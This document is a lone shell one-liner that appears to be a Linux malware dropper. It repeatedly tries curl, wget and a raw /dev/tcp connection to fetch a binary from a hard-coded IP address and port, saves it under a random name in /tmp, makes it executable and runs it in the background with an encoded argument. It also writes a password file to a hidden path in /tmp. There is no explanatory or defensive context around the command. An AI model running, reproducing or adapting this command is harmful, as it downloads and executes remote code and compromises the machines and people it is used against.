nohup $SHELL -c "curl http://121.43.155.63:60114/linux -o /tmp/4hlMx1nXJl; if [ ! -f /tmp/4hlMx1nXJl ]; then wget http://121.43.155.63:60114/linux -O /tmp/4hlMx1nXJl; fi; if [ ! -f /tmp/4hlMx1nXJl ]; then exec 6<>/dev/tcp/121.43.155.63/60114 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/4hlMx1nXJl && chmod +x /tmp/4hlMx1nXJl && /tmp/4hlMx1nXJl x6nYl8+cDy5MoGg4aaBKLASExpTZvqq+vseXxYoQ[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/4hlMx1nXJl && /tmp/4hlMx1nXJl x6nYl8+cDy5MoGg4aaBKLASExpTZvqq+vseXxYoQ[...]" &#UPX!